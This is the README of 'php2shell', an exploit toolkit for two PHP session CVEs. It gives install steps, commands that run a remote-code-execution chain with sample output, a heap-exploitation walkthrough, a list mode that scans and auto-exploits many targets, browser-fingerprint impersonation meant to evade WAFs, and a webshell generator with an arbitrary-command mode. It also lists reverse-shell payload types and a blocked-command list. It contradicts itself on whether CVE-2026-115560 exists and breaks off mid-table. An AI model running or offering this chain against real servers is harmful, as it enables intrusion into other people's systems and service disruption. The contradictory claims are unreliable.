Pure HTTP · zero target-side requirements · JA3 fingerprint impersonation · proof-of-access design
Landing Page · Install · Quick start · Lab vs Live · Modes · Repo sources · Research credits · How it works · Stealth · FAQ · Disclaimer
🌐 Landing Page & Web UI: an interactive documentation page and simulation are available at
docs/index.html. This static page can be served locally withpython3 -m http.serverinside thedocs/folder.
php2shell is a reproduction and research toolkit for two critical PHP
vulnerabilities, CVE-2026-109619 and CVE-2026-109618 (CVSS 4.0 9.2
Critical, unauthenticated, fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12).
It turns the bug into a fully remote, HTTP-only exploit chain against
mod_php + Apache prefork with zero target-side requirements:
- ❌ no
session_start()needed on the target page - ❌ no file upload feature needed
- ❌ no credentials, no cookie, no header trick
- ✅ the target page can be literally
<?php echo "OK\n"; ?>
The toolkit is proof-of-access by design: commands are capped at 14 bytes,
limited to identity commands (id, whoami, …), bash/nc/curl are permanently
blocked, and evidence is retrieved automatically — it demonstrates impact
without being a drop-in backdoor.
| CVE-2026-109619 | CVE-2026-109618 | |
|---|---|---|
| Class | stale global state → UAF | OOM bailout corruption → longjmp |
| Trigger | session.upload_progress multipart callbacks run before RINIT; OOM leaves PS(http_session_vars) / PS(id) dangling → the next request on the same worker calls zval_ptr_dtor on freed memory |
zend_bailout() mid-allocation leaves half-built structures in global state |
| Requests | 2 (producer + consumer) | 1 |
| Fix | 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 | same |
| Status in this toolkit | ✅ implemented: full 0→RCE chain | ⛔ intentionally not implemented (detect/preflight only) |
Version semantics — if your PHP is below the fix-floor, it is vulnerable and exploitable. Every release from the fix-floor up patches all of these issues. PHP ≤ 8.1 is EOL: no backports, vulnerable forever.
| Branch | last vulnerable | fixed |
|---|---|---|
| 8.2 | 8.2.34 | 8.2.35 |
| 8.3 | 8.3.35 | 8.3.36 |
| 8.4 | 8.4.26 | 8.4.27 |
| 8.5 | 8.5.11 | 8.5.12 |
| ≤ 8.1 | all (EOL) | never |
Highest impact: mod_php + prefork (cross-request worker reuse). php-fpm is a strong mitigation (the worker dies per request). CDN-hidden versions? Detection is information, not a gate: preflight reports what it can see, and the chain proceeds anyway.
- The patches were rebuilt on 22 Oct 2026:
8.5.12and8.4.27carry ChangeLog entries dated 22 Oct (Avoid state corruption via bailout), but the version numbers did not change. The same8.4.27can mean the 21 Oct build (not final) or the 22 Oct build (final). Check the package build date, not just the version string. - A third CVE exists:
CVE-2026-115560(Session upload progress). Reserved, full advisory to follow in a regular release. It needssession.serialize_handlerset tophp_binary/php_serializeand switched tophpat runtime viaini_set()beforesession_start(), plussession.upload_progress.enabled=On. Mitigate withsession.upload_progress.enabled=0. NOT closed by the fix-floor below. See the callout right after this list.
CVE-2026-115560 (2026-10-23, not yet patched): the fix-floor above does not close the session serialize_handler mismatch bug (object injection via app-side
ini_set).patched+upload_progress=On≠ safe — detect prints this caveat automatically. Details:docs/CVE-2026-115560.md.
memory_limit=-1is NOT a complete mitigation (GHSA-w8hw-w9fx-j79w). If a base allocation fails,longjmp()can still happen while request memory is reachable. Only upgrading is complete.session.upload_progress.enabled=0only closes 109618 (+115560). It does not close 109619.- In-the-wild exploitation predates the patch: first attempts 17 Oct 2026, four days before release, from anonymized/VPN IPs against honeypots (Amazon Threat Intelligence). No confirmed successful compromise is public as of 2026-10-23.
Run php2shell version --advisories for this list from the CLI.
git clone https://github.com/aarsaputra/php2shell.git
cd php2shell
bash install.sh # venv + deps + smoke-tests + global `php2shell` commandManual install (no installer)
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt # curl_cffi (JA3) + bcrypt (webshell mode)
python php2shell.py --helpEvery dependency and why it exists: REQUIREMENTS.md.
The repo ships the author's exact vulnerable lab configuration, so reproducing the research environment takes one command, not an afternoon:
bash lab/lab_docker.sh start
# → pulls official php:8.4.26-apache
# → mounts docker/php.ini + docker/apache.conf + docker/www (author's config)
# → single prefork worker, KeepAlive Off, upload_progress tuned
# → http://127.0.0.1:8095/index.php# 0) fresh binary offsets (required after every image change)
python3 docker/offsets.py # → out/offsets.env
# 1) run the chain with automatic proof retrieval
php2shell exploit \
-u http://127.0.0.1:8095/index.php --force --yes \
--allow-private-target --exploit-profile bookworm -c 'id>/out/p1' ____ _ _ ____ ____ ____ _ _ _____ _ _
| _ \| | | | _ \___ \/ ___|| | | | ____| | | |
| |_) | |_| | |_) |__) \___ \| |_| | _| | | | |
| __/| _ | __// __/ ___) | _ | |___| |___| |___
|_| |_| |_|_| |_____|____/|_| |_|_____|_____|_____|
P H P 2 S H E L L v1.3.0 - integrated toolkit
----------------------------------------------------------------
tested: CVE-2026-109619 (full chain) detected: CVE-2026-109618 (different chain, not executed)
fix-floor: 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12
last vulnerable: 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11
----------------------------------------------------------------
stealth: curl_cffi JA3 impersonate
----------------------------------------------------------------
mode : scan | detect | preflight | exploit | shell | version
quick : php2shell.py scan -l targets.txt
help : php2shell.py --help
fences & warnings: php2shell.py --help | details: README.md
(exactly the banner the CLI prints when run; source: lib/banner.py)
Two different scenarios, and the commands differ:
php2shell exploit -u http://127.0.0.1:8095/index.php --force --yes \
--allow-private-target --exploit-profile bookworm -c 'id>/out/p1'
# → PROOF (8.3s): uid=33(www-data) ← command output READ back automatically--allow-private-target is required here: loopback is refused by default so the
tool cannot be pointed at internal services by a redirect. The lab target is the
one case where you opt in.
Why is it readable? id>/out/p1 writes the output of id to the file /out/p1
inside the container, and that folder is mounted onto the host (out/p1). The
toolkit reads it automatically → you see uid=33(www-data) in your terminal.
php2shell exploit -u https://target.example/ --yes -c 'id'
# → stages 1/2/3 completed, but:
# → BLIND — the command was sent, but there is no proof channelOn a live target id>/out/p1 is USELESS: the /out folder on the target
server is not mounted onto your machine, so there is nothing to read. The result is
BLIND: the chain is executed (worker dies + restarts = a clear trace in the
server log), but the command output never reaches you.
That is a design decision, not a shortcoming. Building an "output read channel" on a live target would mean building a data-exfiltration tool, which crosses the line from proof-of-access to backdoor. The design deliberately stops at proof of execution (worker crash pattern + stage 3 completion), not proof of command output.
The recommended workflow on a live target:
# 1) RECON first — without touching exploit:
php2shell detect -u https://target.example/
php2shell preflight -u https://target.example/
# verdict: vulnerable / patched / unknown (CDN) + readiness score
# 2) Check whether upload_progress & display_errors leak or not:
# if the CDN withholds the version → you may still proceed (detection is not a gate)
# 3) Exploitation (if the target is YOURS / you have permission):
php2shell exploit -u https://target.example/ --yes -c 'id'
# BLIND result = executed but output not readable
# impact proof: worker crash in the server log + stage-3 completion
⚠️ Be aware of the risk on a live target: every attempt makes one Apache worker die (SIGABRT) and then get forked again. On a production server that means service disruption, an extremely obvious log trail, and a possible WAF block. One attempt is enough to prove it. The 3×3 retry loop is for the lab only.
php2shell.py scan -l targets.txt # detect + preflight everything
php2shell.py scan -l targets.txt --exploit --yes # + exploit only the ones READY
php2shell.py scan -l targets.txt --threads 10 # parallel
php2shell.py scan -l targets.txt --json out/r.json --csv out/r.csvFile format: one URL per line, # starts a comment, duplicates are dropped (case and a
trailing slash count as the same URL), lines without :// get https:// prepended.
Result: a terminal table + JSON + CSV (verdict, version, score, ready, proof).
php2shell.py detect -u https://target.example/Reads: PHP version (header/X-Powered-By/error page), branch & fix-floor
verdict (vulnerable/patched/EOL), session.upload_progress status,
display_errors status. Its ammunition is an ordinary GET.
Active OOM detection (new, v1.4.0) — switches on automatically when the verdict
is still unknown/eol after the passive probe (the PHP version is hidden by a CDN,
or the target is EOL). The methodology follows
assetnote/php2shell-scanner:
a control request + three multipart probes with nested-62-level array keys
(1 → 8 → 20 MiB). Verdict vulnerable when any of the following appears:
- a fatal
Allowed memory size ... in Unknown(OOM inside the multipart parser), or - a differential empty HTTP 500 (the FPM worker dies mid-request), or
- 502/503/504 (the worker aborts behind the front end).
False-positive protection: the warning POST Content-Length exceeds the limit (its location is also Unknown, but that is the post_max_size guard — not
the bug) is NOT counted as a signal.
php2shell.py detect -u https://target.example/ # OOM automatic (when unknown/eol)
php2shell.py detect -u https://target.example/ --no-oom # turn the OOM probe offNote: if the target's memory_limit is > 20 MiB, OOM is never reached →
the verdict stays inconclusive with an explicit reason (not "not
vulnerable"). Targets whose version is readable and >= fix-floor are never
OOM-probed (it is cheaper and leaves the smallest trace).
php2shell.py preflight -u https://target.example/Score 0–90 from: vulnerable version (30), upload_progress On (30), display_errors On (15), version recognised (15). Philosophy: detection = information, not a gate — a version hidden by a CDN still proceeds; there are only 2 hard blockers: the server is down, or the READ version is already patched.
# local lab (mount /out) → command output READ back:
php2shell.py exploit -u http://127.0.0.1:8095/index.php --force --yes \
--allow-private-target --exploit-profile bookworm -c 'id>/out/p1'
# live target → BLIND (command runs, output not readable — by design):
php2shell.py exploit -u https://target.example/ --yes -c 'id'Important options:
| Flag | Function |
|---|---|
-c / --cmd |
proof command, max 14 bytes; default id |
--allow-cmd CMD |
add to the whitelist (uname/hostname/pwd/ls/cat/df/uptime/who/w/env) — repeatable |
--exploit-profile {bookworm,lab} |
set the built-in offsets (bookworm = the official image) |
--zif-offset / --dtor-offset / --htdata-offset |
manual offsets for other builds |
--retries N |
retries per stage (default 3, heap-fresh via worker rotation) |
--huge-mb N |
force the size of the stage-1 OOM field (default: read from memory_limit) |
--force |
force past a NOT-READY preflight (confirmation still required) |
--exploit-timeout N |
total time limit for the chain (default 300s) — a real absolute deadline, see below |
Stage 1 sends a single multipart field that must be larger than the target's
memory_limit; that is what triggers the OOM. It used to be pinned to 12 MB,
and the consequence differed from target to target:
target memory_limit |
12 MB hardcoded | now |
|---|---|---|
| 8 M | OOM, the chain runs | read 8 M → send 10 MB |
| 128 M | no OOM, the chain dies without a clear reason | read 128 M → send 147 MB |
| 512 M | no OOM, and 12 MB sent for nothing | stop + warning |
Failures in the second and third rows look identical from the outside ("stage1
failed"), even though the causes differ. Now exploit sends one probe
request first, reads the number out of the PHP fatal message
(Allowed memory size of N bytes exhausted), and then sets the field
slightly above the limit.
What it does not do: keep raising the size until it works, and it does not
guess. If the number is unreadable (display_errors=Off), the automatic
exploitation stops before the first payload byte and tells you why: without
the limit there is no field size that can be shown large enough to OOM, so any
12 MB body is a blind shot whose failure would look like "not vulnerable".
The way out is --huge-mb <MB> with a size you validated in the lab.
--force does not skip this gate — it waives administrative preflight
requirements, not the physical fact of an unknown memory_limit.
If memory_limit is above 512 MB, it stops and reports,
because this chain really will not run there.
--exploit-timeout is an absolute deadline for the whole run, computed once
(start + N). Every network step asks for its own timeout with
Target.op_timeout(prefer), which returns min(prefer, remaining); the 16 MB
memory_limit probe, connect retries, each 256 KB body slice, every recv loop
and the inter-request pauses all draw from the same budget. When the budget is
gone the chain raises DeadlineExceeded before sending another request, and
run() reports DEADLINE — ... instead of a misleading HEAP_LEAK_FAILED.
The chain fails at stage 1 not because of the number of Apache workers, but because
the request never reaches PHP intact. If post_max_size is smaller
than the stage-1 body, PHP discards that body before the script runs, and
from the outside the failure looks identical to "the target is not vulnerable".
| Setting | Requirement | Why |
|---|---|---|
post_max_size |
≥ 64M | the stage-1 body is larger than memory_limit; if this is smaller, the body is thrown away outright |
upload_max_filesize |
≥ 64M | the per-file limit for the multipart field |
exploit now distinguishes the two and stops within ~2 seconds with
the correct reason:
[*] 16 MB body rejected by the target before the script ran — post_max_size too small for stage-1
failed (0.0s): the target rejected the stage-1 body before PHP ran the script ...
The popular claim "you need 150 workers, leave 1 spare" (from 9bie) is not proven
on re-test: the chain runs with 1 worker as well as with 150 workers. The number 150
turns out to be just the stock mpm_prefork.conf default. The full experiment is in
docs/SYARAT_TARGET.md.
$ php2shell.py exploit -u http://target/index.php -c 'id>/out/p1'
[*] memory_limit 8 MiB read from the target; field 'big' set to 10 MB (must be > limit)
stage 1: heap leak (attempt 1/3)
PROOF (7.7s): uid=33(www-data) gid=33(www-data)php2shell.py shell --out shell/out --ttl 72Produces a PHP file (32-hex name) + CREDENTIALS.txt (bcrypt, NOT
stored inside the shell). Features: bcrypt password, per-shell command whitelist,
expiry TTL, rate limit. Generator only — it does not upload.
Local test: php -l <file> then php -S 127.0.0.1:8099.
The default shell is whitelist-only: the command must match one of the
commands baked in at generate time, there is no upload, no eval, no reverse
shell.
shell/web_shell_gen.py (the two-variant generator: a browser login page plus a
CLI variant) has a --variant web shell with a "free mode" checkbox. Free mode
calls proc_open() with the text typed in the browser, i.e. arbitrary command
execution from a browser — the same power as an interactive shell. It is
therefore not part of the default build:
allow_free_modedefaults toFalse; the free-mode PHP block, the checkbox and its JS are simply not written into the file unless--allow-free-modeis passed.- With
--allow-free-mode, the generator prints a warning to stderr (PERINGATAN: ... MODE BEBAS ... perintah ARBITRER ...), andCREDENTIALS-<ts>.txtrecordsfree mode: YA (proc_open, perintah arbitrer). - Ask for it only when the engagement explicitly permits demonstration of full execution, and delete the shell as soon as the engagement ends.
# whitelist-only (default):
/home/lota1337/myenv/bin/python shell/web_shell_gen.py --out <dir> --ttl 24 --variant web
# unrestricted execution — explicit opt-in, prints a stderr warning:
/home/lota1337/myenv/bin/python shell/web_shell_gen.py --out <dir> --ttl 24 \
--variant web --allow-free-modeThe password is not a substitute for OS-level access control. A bcrypt
password, a TTL and a per-session CSRF token protect the shell file from other
web users; they do not limit what the shell can do once it is running. The
boundary is the web server user's OS privileges, and that boundary has to be set
where the process lives — chmod on the webroot, disable_functions
(proc_open, shell_exec, system, passthru, exec), open_basedir, a
dedicated low-privilege user or container. If PHP on the target can run
proc_open/shell_exec as the Apache user, then a shell with free mode (or a
whitelisted shell whose whitelist was extended too far) does exactly what that
user is allowed to do — a password changes nothing about that. Set the OS/PHP
restrictions first, then decide whether the shell is needed at all.
php2shell.py version # compare against the public release on GitHub
php2shell.py version --no-cache # ignore the 1 hour cache
php2shell.py version --json out/v.json
php2shell.py detect -u https://t/ --check-version # check first, then continueComparison sources (in order, fail-safe):
| Order | Source | Note |
|---|---|---|
| 1 | releases/latest |
GitHub release tag (if a release already exists) |
| 2 | /tags |
highest tag, sorted numerically (not lexically) |
| 3 | VERSION on branch main |
fallback while the repo has no tag yet |
Behaviour:
- Fail-safe: offline, dead DNS, GitHub rate-limit, repo 404 → status
unknown+ a reason. It never crashes, it never fails the main mode. - Numeric semver:
1.10counts as newer than1.2(not a string compare). - 1 hour cache in
out/version-check.jsonso GitHub rate-limits do not bite. - No telemetry: only a GET to GitHub, no data is sent anywhere.
- Exit code:
0= up to date / cannot check,10= an update exists (usable as a CI gate).
[OK] local : 1.3.0
remote : 1.3.0 (source: branch)
status : current
message : php2shell 1.3.0 — already the latest version
repo : https://github.com/aarsaputra/php2shell
This answers the question people get wrong most often: "can this target
be RCE'd or can it only be leaked?" Before version 1.3.0, preflight returned
READY for any build that passed the version check, even though PHP 8.3.x is proven
to only reach the leak stage.
php2shell.py builds # the whole table
php2shell.py builds --level rce # only the ones whose RCE is proven
php2shell.py builds --json out/b.json PHP arch support notes
8.5.11 amd64 RCE separate offsets, same htdata
8.5.11 aarch64 RCE uid=33(www-data)
8.5.10 aarch64 RCE uid=33(www-data)
8.4.26 amd64 RCE our lab reference build; RCE proven here
8.4.25 aarch64 RCE stage 3 probabilistic — needs retries
8.5.0 any LEAK stage-3 layout not found
8.3.35 aarch64 LEAK stage-3 reference alive, no RCE
8.3.33 amd64 LEAK wordpress:7.1.1-apache mod_php
8.3.0 aarch64 NO PS(id) dangling; cookie not reclaimed
8.2.34 aarch64 NO UAF exists; leak shape differs
8.1.34 aarch64 NO UAF exists; leak shape differs
8.0.30 aarch64 NO UAF exists; leak shape differs
7.4.33 aarch64 NO UAF exists; leak shape differs
total 13 builds: 5 RCE, 3 leak-only, 5 unproven
Meaning of the support column:
| Value | Meaning | What happens during exploit |
|---|---|---|
RCE |
stages 1+2+3 proven on that exact build | the command really executes, PROOF appears |
LEAK |
stages 1+2 proven, stage 3 not | stops after the address leak; the command is not executed |
NO |
never proven to go further | probably stops at stage 1-2 |
? |
build not in the table | tried with the default offsets; consider it unproven |
This table also shows up automatically in preflight as the support : line and in
the 3rd column of the scan/detect table, so the decision to fire is made
before the chain runs, not after waiting 200 seconds for a failure.
Two things matter here:
- Architecture decides.
8.4.26is RCE onamd64, but onlyLEAKonaarch64. If the target architecture is unreadable, the tool uses the RCE entry as an estimate, with the caveat that architecture decides the outcome. NOdoes not mean "impossible". That is the word used by the author of the original table, and we follow it as-is. Offsets can be supplied manually via--zif-offset/--dtor-offset. If you have a build that is not in the table but its RCE works, that is a new finding, not an error in the table.
Table sources: devploit/php2shell (13 heap profiles, 5 verified RCE),
9bie/php2shell-bypass-aslr-exp (worker pinning on the stock image), and our own lab
(php:8.4.26-apache). No number here is invented.
| Flag | Function |
|---|---|
--ja3 {chrome,safari,firefox,edge,android} |
browser TLS+UA profile (default chrome) |
--delay N |
delay between requests + jitter (default 1.0s; jitter 0.75–1.35×) |
--timeout N |
HTTP timeout per request (default 15s) |
--proxy URL |
go through a proxy, e.g. http://127.0.0.1:8080 |
--audit FILE |
log EVERY request to JSONL (evidence + troubleshooting) |
--insecure |
DISABLE TLS verification (default: verification ON, CERT_REQUIRED + hostname check). Self-signed lab certificates only |
--no-follow-redirects |
stop at the first 3xx (default: redirects are followed manually, max 5 hops, and every hop is re-validated by the anti-SSRF policy before the packet is sent) |
--allow-private-target |
allow loopback / RFC1918 / link-local targets (default: REJECTED to prevent SSRF; lab use only). It does not open cloud metadata endpoints — nothing does, see below |
--no-upload-progress |
skip the upload_progress probe during detect |
--no-display-errors |
skip the display_errors probe during detect |
--json / --csv |
report file output |
-v, --verbose |
show every request (status, duration, body size, error) |
All three relaxation flags above are opt-in and off by default, because the defaults are the safe behaviour:
-
TLS is verified. https targets are checked against the system CA store with hostname verification on (
CERT_REQUIRED+check_hostname), on both the curl_cffi path and the raw-socket chain path. Before this change verification was silently off, so an intercepting proxy could read every request — including ones carrying target cookies — without any signal. Turning it off now takes an explicit--insecure. -
Redirects are bounded and validated. A target cannot hand the tool a
Location:and have it follow blindly: each hop (and the first URL) is validated bylib/target_policy.pybefore the packet is sent, and the chain stops at 5 hops.--no-follow-redirectssimply stops at the first 3xx instead. -
Private and metadata targets are rejected.
127.0.0.0/8, RFC1918, link-local and reserved ranges are refused unless--allow-private-targetis given — that flag is for the local lab only.The cloud metadata / IMDS endpoints (
169.254.169.254,fd00:ec2::254,100.100.100.200,192.0.0.192) are refused always, including with--allow-private-target, and including a hostname that merely resolves to them. There is no flag anywhere in the tool that opens them: an SSRF that reads instance credentials is not a lab convenience, so it has no switch. On a loopback lab target,--allow-private-targetis what you need; it will never be the reason a metadata request succeeds.
| Flag | Function |
|---|---|
--quiet |
shrink the chain output (the opposite of -v) |
--cve {CVE-2026-109619} |
pick the CVE to fire (109619 only; other values are rejected, and 109618 is not implemented) |
--fetch URL |
URL fetched through the RCE after execution (a channel to read the result) |
--proof-file NAME |
does -c 'id>/out/NAME' and then reads the result back (name [A-Za-z0-9_-]{1,24}; the proof channel) |
--output-file FILE |
write the raw chain output to a file |
--offsets-file FILE |
use an offset profile from a file; '' = do not use the lab profile |
--no-auto-offsets |
do not look for offsets automatically (force --zif-offset/--dtor-offset) |
--no-pre-rotate |
do not rotate the worker before preflight |
--no-retry-rotate |
do not rotate the worker on retry |
| Flag | Function |
|---|---|
-u, --urls URL [URL ...] |
one or more URLs directly |
-l, --list FILE |
or read a URL list from a .txt file |
| Flag | Function |
|---|---|
--out DIR |
webshell output folder (default shell/) |
--ttl HOURS |
webshell lifetime in hours (default 72) |
--commands "a,b,c" |
command whitelist inside the webshell (default id,whoami) |
--author NAME |
author signature in the webshell header |
--purpose TEXT |
purpose note in the webshell header |
The standalone generator shell/web_shell_gen.py (2 variants) has its own flags:
--variant {web,cli,both}, --ttl, --author, and the opt-in --allow-free-mode
described above. php2shell.py shell deliberately exposes no free-mode flag.
This repo is not a fork. There is no single repo that could be forked to become php2shell, because the material is taken from four different sources (three public repos + two official advisories). That is why the sources are listed one by one here, instead of through a "forked from" mechanism.
| # | Repo | Author | What was taken from it | License |
|---|---|---|---|---|
| 1 | https://github.com/9bie/php2shell-bypass-aslr-exp |
9bie (Qi Deng) | The core chain: 2-request session.upload_progress UAF (CVE-2026-109619), ASLR bypass via heap + libphp base leak, actuator pDestructor = zif_system. lib/chain.py = a port of that logic into an in-process module. |
no license file (default copyright) |
| 2 | https://github.com/Zer061/CVE-2026-109618 |
Zer061 (+ v.dir.mir, 9bie) | The fork our byte-level exploit.py reference was taken from (sha256 ea925683…). Its history is mixed: adc5f9b by 9bie, 5fc5669 by v.dir.mir (added --revshell), 4752adc by Zer061. Already taken down by GitHub. |
no license file |
| 3 | https://github.com/ikow/php2shell-poc |
ikow | The CVE-2026-109618 crash verifier (poc/verify_oom_trigger.py). |
referenced, not vendored |
| 4 | curl_cffi — https://github.com/lexiforest/curl_cffi |
lexiforest / yifeikong | JA3/TLS impersonation in lib/transport.py. |
MIT (dependency) |
We did not take code from these two repos. They were read for comparison, and one of them contributed data that we adopted (the build support table). They are named here so it is clear which part is code and which part is measurement.
| Repo | What we took | What we did NOT take |
|---|---|---|
https://github.com/devploit/php2shell (devploit, MIT) |
The 13 heap profile table → lib/build_support.py: which builds are RCE, which only leak, per architecture. This is their measurement, and they are credited in the module header. |
Code. We also did not follow them in citing CVE-2026-115560 — that number does not exist in MITRE/NVD/php/php-src advisory lists. |
https://github.com/murrez/php2shell (murrez, MIT) |
Nothing was adopted into the code. | Code. The 4,411-line poc.py is not vendored; we do not repeat their claim of CVE-2026-115560 as the "headline". |
What is interesting about devploit, and what we noted in ATTRIBUTION.md: they
solved 9bie's licensing problem by not copying code at all:
bootstrap_upstream.py only clones a specific commit at runtime.
We could not take that route (the chain engine has to run offline), but
the pattern is right.
| Source | What was taken |
|---|---|
GHSA-w8hw-w9fx-j79w (PHP Group) |
CVE-2026-109618 — OOM inside session.upload_progress |
GHSA-6wmf-4rv5-p3rp (PHP Group) |
CVE-2026-109619 — UAF in php_session_initialize() |
| php.net changelog 8.4.27 | fix-floor 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 |
Discovery of the CVEs is not claimed here. The discoverer is Wiz Research, and that has to be said before the names of the people who wrote the code.
| Name | Role |
|---|---|
| Wiz Research | Discoverer and public analyst of PHP2Shell (CVE-2026-109618 / CVE-2026-109619); blog. Everything in this repo starts from that publication. |
| Calif | Parallel research, analysis of upload metadata amplification (calif.io). |
| 9bie (Qi Deng) | First public exploit + heap grooming research: stage-1/2 leak, stage-3 fake HashTable carrier. The chain in lib/chain.py is a port of that logic. |
| Karasawa2025 | The display_errors=Off direction: the OOM-in-cookie primitive and an alternative leak strategy. |
| v.dir.mir | Added --revshell to the reference exploit.py (commit 5fc5669). That feature was not ported here. |
| Zer061 | The fork our byte-level exploit.py reference was taken from (sha256 ea925683…). |
| ikow | OOM verifier for CVE-2026-109618 (poc/verify_oom_trigger.py). |
| devploit | The 13 heap profile table → lib/build_support.py, and the bootstrap_upstream.py licensing pattern. |
| Assetnote / Searchlight Cyber (Shubham Shah, Adam Kues, Patrik Grobshäuser) | The active detection methodology in assetnote/php2shell-scanner + the Searchlight write-up: staged 1/8/20 MiB OOM probes with nested-62 keys, the fatal-in-parser/empty-500-differential/worker-abort signals, and catching the memory_limit false-positive → adopted as lib/oomprobe.py (automatic in detect mode; --no-oom to disable). |
| calif.io | The original php2shell write-up, the first to detail the exploitation conditions of mod_php & php-fpm, and referenced by the assetnote scanner as a triage basis. |
| PHP Group | Advisories + the fixes in 8.4.27 / 8.5.12. |
If a credit is missing or wrong, open an issue. That is devploit's sentence, and we use it too, because that is exactly how it should be.
Deliberately not cited: WoYinDao (mentioned by devploit, but we found no
public trace we could verify) and CVE-2026-115560 (404 at MITRE,
0 results at NVD). That number is used by murrez as a headline, and we do not
repeat it.
A fork = a single git lineage. Here:
- the exploit chain comes from 9bie (repo 1), but the build of
exploit.pywas taken from Zer061's fork (repo 2), whose own history is a mix of three authors; - the vulnerability verification for CVE-2026-109618 comes from ikow (repo 3);
- the version semantics & fix-floor come from the PHP Group advisories (not a repo);
None of them can be the single "parent". What we wrote
ourselves: the 7-mode CLI, the in-process engine lib/chain.py, auto-proof reading of out/p1,
the command fence, the preflight score, stealth mode, the test suite (263 tests, measured
with python -m unittest discover -s tests -t .), the installer, the Docker lab.
Our reference exploit.py (sha256 ea925683…, from repo 2) contains a reverse
shell added by commit 5fc5669 by v.dir.mir:
- a
bashpayload via/dev/tcp/{ip}/{port} - a
python3pty spawn payload - a
perlsocket exec payload - an
nclistener that hands over an interactive shell
This is a documented feature, not a hidden trojan, but it is also the legitimate reason GitHub took down the originating repo. We did not adopt it:
| Upstream | php2shell |
|---|---|
--revshell IP:PORT |
not registered in argparse |
bash/python/perl payloads |
cannot be sent (14 byte cap + whitelist) |
sh</out/c |
< and > are rejected as operators |
nc listener |
not implemented |
Not just the working tree: all 384 blobs from 19 commits were extracted and
scanned. Full report: AUDIT_FORENSIK_Zer061_2026-10-24.md (lab SSD).
| Check | Result |
|---|---|
| C2 / hardcoded external hosts | none: only hub.docker.com in the README, 127.0.0.1, localhost |
Credential theft (~/.ssh, .aws, /etc/shadow, .netrc) |
none |
Persistence (crontab, systemd, rc.local, autostart) |
none |
Obfuscation (b64decode, hex blob, chr() chain, keylogger) |
none: \x.. = the protocol byte array |
| Unknown binaries | none: only the official php-8.4.26.tar.gz + 1 PNG |
scp to an outside host |
none: only 172.16.1.112 (RFC1918, the author's lab VM) |
--revshell + payloads + nc listener |
PRESENT in the reference source, fully blocked here |
The word "pristine" in older documents means not modified by us, not harmless. If you fork this repo, diff first before trusting; that is the same rule we applied to upstream.
┌──────────────┐ ① multipart field sized above memory_limit → OOM inside
│ REQUEST A │ php_session_initialize()
│ (producer) │ → PS(http_session_vars) dangles
│ │ → Apache prefork worker dies (SIGABRT)
└──────────────┘
┌──────────────┐ ② prefork forks a fresh worker that INHERITS
│ REQUEST B │ the same libphp mapping & heap layout
│ (consumer) │ → re-occupies the dangling reference with
│ │ attacker-sized multipart buffers
└──────────────┘
│
▼ ③ fake HashTable whose pDestructor = zif_system
┌──────────────────────────────────────────────┐
│ php_session_track_init() │
│ → zval_ptr_dtor(PS(http_session_vars)) │
│ → zend_reference_destroy(R0) │
│ → zend_array_destroy(fake HT) │
│ → zend_hash_destroy(fake HT) │
│ → pDestructor(&bucket) = SYSTEM() │
└──────────────────────────────────────────────┘
The first leak is a 4096-byte Set-Cookie header carried by an
out-of-bounds php_url_encode() read, and it reveals the Zend MM chunk base;
a second stale read exposes zval_ptr_dtor's address → libphp base →
ASLR defeated, all offsets resolved, command executed.
--no-pre-rotate, --retries, --huge-mb, --zif-offset/--dtor-offset
expose every tuning knob the chain has.
The requests are deliberately built to look like a real browser, not a script:
| Layer | What it does |
|---|---|
| TLS/JA3 fingerprint | curl_cffi replays a real browser handshake (JA3 + ALPN + extensions exactly). A standard Python script produces a strange JA3 that a WAF spots instantly; this one does not |
| Complete browser profile | --ja3 chrome (default), safari, firefox, edge, android: TLS + User-Agent + Accept-Language consistent as one identity |
| Normal-looking headers | Accept, Accept-Encoding, Sec-Fetch-*, Upgrade-Insecure-Requests: exactly a browser's order and contents, not requests/urllib defaults |
| Identity rotation | profiles rotate between requests → traffic from 1 IP is not always the same profile (like a real user on different devices) |
| Human timing | delay between requests + random jitter (0.75×–1.35×); a perfectly regular robot cadence is easy to score |
| Polite retries | exponential backoff (2→4→8 seconds), not brute force |
| Local audit trail | every request is recorded in a JSONL file (--audit), so you can audit for yourself exactly what was sent |
# example: use the Safari identity + go through a proxy + 3 second delay between requests
php2shell exploit -u <url> --ja3 safari --proxy http://127.0.0.1:8080 --delay 3 --yesJA3/TLS handshake, header order and contents, and inter-request timing are reproduced as a real browser produces them. HTTP/2 frame order, cookie history, and JS rendering are not reproduced. Bot-management stacks that score those three layers (Cloudflare Bot Management, Akamai) belong to a target class the tool does not test, and requests against them are expected to be flagged. Against a PHP prefork lab, or an ordinary server that runs no bot-management of that class, the profile passes the script-vs-browser checks it is built for.
Your run fails on a build/config that isn't calibrated. These are the knobs:
MaxRequestWorkers 1: producer and consumer must land on the same workerKeepAlive Off- fresh
out/offsets.env: stale offsets are the #1 silent killer session.upload_progress.cleanup = On- minimal endpoint:
<?php echo "OK\n"; ?>
Targets with a different build (distro PHP, other version): measure their
libphp.so and pass --zif-offset / --dtor-offset. Retrying with wrong
offsets never helps. HEAP_LEAK_FAILED means not calibrated, not "safe".
Does it work against any PHP site?
No — and this is an honest limitation. It requires mod_php + Apache prefork,
the vulnerable version range, session.upload_progress=On, and heap conditions
matching a calibrated build. php-fpm largely mitigates this bug. That's what the
detect + preflight modes are for; run them first.
Why is there no reverse shell mode?
Deliberate. This is a proof-of-access toolkit: it proves code execution with
identity commands (id, whoami) and refuses to become an attack appliance:
sh, bash, nc, curl, wget, chmod, rm are blocked at runner level
and cannot be enabled by any flag. For benign persistence testing there is the
password-protected shell generator (bcrypt, TTL, whitelist, never auto-uploads).
Can I add custom commands?
Yes, within the fence: --allow-cmd ls --allow-cmd df extends the whitelist to
a fixed, reviewed set (uname, hostname, pwd, ls, cat, df, uptime,
who, w, env). Arbitrary binaries and chaining (;, |, $(, backticks)
remain impossible.
The exploit fails with HEAP_LEAK_FAILED — is the target patched?
Not necessarily. It usually means the target's build isn't calibrated (different
distro compile, different version). Measure the target's libphp.so and pass
the offsets manually. See "The 5 lab requirements".
Is using this legal?
Use on systems you own or have written authorization to test. Scanning or exploiting third-party systems is a crime in most jurisdictions (UU ITE, Computer Fraud and Abuse Act, etc.). The tool's design (14-byte identity commands, no shells, no exfil primitives) reflects that scope.
| Claim | Evidence |
|---|---|
RCE on official php:8.4.26-apache |
